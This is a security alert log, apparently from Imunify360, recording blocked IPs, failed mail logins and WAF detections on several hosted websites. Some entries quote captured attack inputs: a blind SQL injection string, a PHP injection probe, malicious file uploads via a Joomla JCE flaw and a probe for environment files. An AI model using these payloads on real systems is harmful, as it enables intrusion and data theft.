Jul 24 10:27:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 187.15.158.198
country_id: 2782113
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_7f1582ed.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 10:34:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 46.202.42.9
country_id: 2802361
domain: globalgroupoman.com
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.122.215.23
country_id: 6252001
description:
Jul 24 10:41:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.122.215.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-24 10:41:03 dovecot_login authenticator failed for H=([144.24.209.174]) [98.122.215.23]:44280: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.150.253
country_id: 1733045
description:
2026-07-24 10:41:43 dovecot_login authenticator failed for H=([84.111.136.210]) [49.124.150.253]:35756: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-24 10:42:32 dovecot_login authenticator failed for H=(host-191-241-142-33.red.paralelo46.com.ar) [1.250.67.190]:37902: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jul 24 10:42:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-07-24 10:42:06 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt ([192.252.214.22]) [87.103.126.54]:48135: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.250.67.190
country_id: 1835841
description:
Jul 24 10:42:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.250.67.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.184.85.167
country_id: 3469034
description:
2026-07-24 10:42:53 dovecot_login authenticator failed for H=([178.178.222.59]) [179.184.85.167]:51398: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.213.181.6
country_id: 1269750
description:
2026-07-24 10:43:26 dovecot_login authenticator failed for H=([121.191.70.197]) [117.213.181.6]:35768: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.213.181.6
country_id: 1269750
description:
Jul 24 10:43:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.213.181.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.152
country_id: 1835841
description:
Jul 24 10:43:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-24 10:43:41 dovecot_login authenticator failed for H=([95.35.29.192]) [121.131.220.152]:37826: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 10:44:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 10:45:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 10:48:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 10:50:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 10:52:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 10:52:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.62.153.112
country_id: 1168579
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:26485.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:02b3c0caa7962514aa1393248fb5ade2a0212f95||Title:0x6ca7ab32||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.149.51.6
country_id: 3469034
description:
2026-07-24 10:54:46 dovecot_login authenticator failed for H=([72.223.188.94]) [200.149.51.6]:37284: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.97.17.208
country_id: 1835841
description:
Jul 24 10:55:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.97.17.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-24 10:55:10 dovecot_login authenticator failed for H=([184.170.249.69]) [61.97.17.208]:43236: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 10:55:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.58.59
country_id: 6252001
description:
2026-07-24 10:55:21 dovecot_login authenticator failed for H=wsip-68-225-58-59.pn.at.cox.net ([195.158.26.59]) [68.225.58.59]:52537: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.225.58.59
country_id: 6252001
description:
Jul 24 10:55:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.225.58.59 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.141.36.131
country_id: 2635167
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.6367.91 Safari/537.36||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77214451
name: IM360 WAF: Time-based blind SQL injection in body/cookie
abuser: 97.74.83.93
country_id: 1880251
domain: ddgalaxy.in
description:
IM360 WAF: Time-based blind SQL injection in body/cookie||MVN:ARGS:requests.requests.path||MV:/wp/v2/posts?author_exclude=1) OR (SELECT * FROM (SELECT(SLEEP(5)))a)-- -||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 11:07:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 11:07:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacemergencyservice2.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 11:10:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 194.233.79.223
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:catid||MV:'-var_dump(md5(577439210))-'||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 194.233.79.223
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Special shell symbol in request||MV:815512921+833523017}||MVN:ARGS:catid||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 194.233.79.223
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.35||T:APACHE||SC:/home/metrodigitals/public_html/component||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 11:13:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 11:14:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 11:16:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 11:17:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.64.198
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-25.89.124.64.198||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.34.103.195
country_id: 2750405
domain: 103.185.74.189:80
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.35||T:APACHE||MV:.env.swp||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 11:28:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 11:29:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 66.245.194.253
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-31.66.245.194.253||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 11:33:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.251.149.81
country_id: 6252001
description:
2026-07-24 11:34:26 dovecot_login authenticator failed for H=64-251-149-81.fidnet.com ([49.124.131.248]) [64.251.149.81]:43146: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.98.63.18
country_id: 1814991
description:
Jul 24 11:34:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.98.63.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.98.63.18
country_id: 1814991
description:
2026-07-24 11:34:44 dovecot_login authenticator failed for H=([183.171.41.134]) [114.98.63.18]:52242: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.12.212.38
country_id: 1835841
description:
Jul 24 11:35:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.12.212.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-24 11:35:12 dovecot_login authenticator failed for H=([119.196.213.196]) [59.12.212.38]:51714: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 11:35:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 11:37:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 165.22.198.217
country_id: 2750405
domain: 220-mail.ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-b1ad8433b824c32ddb79691a6975bed1.xml.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 11:41:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.33.150
country_id: 1149361
description:
2026-07-24 11:44:34 dovecot_login authenticator failed for H=([41.89.128.60]) [149.54.33.150]:59159: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.20.70.64
country_id: 1668284
description:
Jul 24 11:44:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.20.70.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.20.70.64
country_id: 1668284
description:
2026-07-24 11:44:52 dovecot_login authenticator failed for H=211-20-70-64.hinet-ip.hinet.net ([188.59.178.28]) [211.20.70.64]:46058: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.72.198.61
country_id: 1835841
description:
Jul 24 11:43:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.72.198.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-24 11:43:59 dovecot_login authenticator failed for H=([101.13.6.86]) [220.72.198.61]:53775: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacservice1.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.56.156.49
country_id: 3175395
description:
Jul 24 11:44:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.56.156.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.56.156.49
country_id: 3175395
description:
2026-07-24 11:44:03 dovecot_login authenticator failed for H=host-185-56-156-49.mywic.eu ([72.205.0.69]) [185.56.156.49]:40442: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.30.69
country_id: 2017370
description:
2026-07-24 11:44:12 dovecot_login authenticator failed for H=broadband-188-32-30-69.ip.moscow.rt.ru (ip-179.48.229.118.fiberlinkpe.net.br) [188.32.30.69]:56158: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.32.30.69
country_id: 2017370
description:
Jul 24 11:44:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.32.30.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.33.150
country_id: 1149361
description:
Jul 24 11:44:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.33.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.129.31.42
country_id: 3686110
description:
Jul 24 11:45:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.129.31.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.129.31.42
country_id: 3686110
description:
2026-07-24 11:45:24 dovecot_login authenticator failed for H=([167.250.118.53]) [181.129.31.42]:57165: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.24.141.112
country_id: 1814991
description:
Jul 24 11:45:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.24.141.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-24 11:46:25 dovecot_login authenticator failed for H=([67.201.38.131]) [109.248.156.49]:47554: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.112
country_id: 1814991
description:
2026-07-24 11:45:53 dovecot_login authenticator failed for H=([222.111.148.83]) [27.24.141.112]:54532: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.248.156.49
country_id: 1522867
description:
Jul 24 11:46:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.248.156.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 11:49:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.104
country_id: 2215636
description:
2026-07-24 11:50:09 dovecot_login authenticator failed for H=([72.207.109.1]) [102.38.3.104]:56655: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.51.241.46
country_id: 1814991
description:
2026-07-24 11:50:30 dovecot_login authenticator failed for H=([118.91.8.132]) [119.51.241.46]:58518: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.38.3.104
country_id: 2215636
description:
Jul 24 11:50:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.38.3.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 155.212.17.174
country_id: 2017370
description:
Jul 24 11:50:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 155.212.17.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.212.17.174
country_id: 2017370
description:
2026-07-24 11:50:55 dovecot_login authenticator failed for H=([166.145.160.119]) [155.212.17.174]:58258: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.225.203.146
country_id: 2661886
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 11:52:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.9.53.196
country_id: 6252001
description:
Jul 24 11:55:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.9.53.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-24 11:55:22 dovecot_login authenticator failed for H=([70.166.167.47]) [170.9.53.196]:60128: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.30.127.9
country_id: 1814991
description:
Jul 24 11:54:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.30.127.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.30.127.9
country_id: 1814991
description:
2026-07-24 11:54:56 dovecot_login authenticator failed for H=([183.171.215.115]) [112.30.127.9]:60457: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 11:56:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 11:56:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 11:58:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.154.84.189
country_id: 2287781
description:
2026-07-24 12:00:14 dovecot_login authenticator failed for H=([47.85.189.23]) [160.154.84.189]:8326: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.67.48.120
country_id: 3469034
description:
2026-07-24 12:00:32 dovecot_login authenticator failed for H=([31.173.4.22]) [152.67.48.120]:59023: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.71.146.6
country_id: 2017370
description:
2026-07-24 12:00:48 dovecot_login authenticator failed for H=([14.32.231.200]) [178.71.146.6]:54106: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.63.85
country_id: 1814991
description:
Jul 24 12:00:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.63.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.85
country_id: 1814991
description:
2026-07-24 12:00:55 dovecot_login authenticator failed for H=([37.79.232.82]) [111.26.63.85]:41830: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 12:06:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.68.77
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-06.89.124.68.77||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 47.35.32.108
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://News.Latestnewsfinance.com/story/606576/pvacodescom-expands-sms-verification-service-with-pricing-from-001.html\">phone verification online</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.25.29.163
country_id: 2017370
description:
Jul 24 12:10:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.25.29.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.25.29.163
country_id: 2017370
description:
2026-07-24 12:10:55 dovecot_login authenticator failed for H=([183.71.251.66]) [31.25.29.163]:53114: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 12:10:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.175.66.26
country_id: 6252001
description:
Jul 24 12:11:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.175.66.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.175.66.26
country_id: 6252001
description:
2026-07-24 12:11:06 dovecot_login authenticator failed for H=([192.111.130.1]) [24.175.66.26]:50358: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 12:15:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 12:17:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 12:18:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
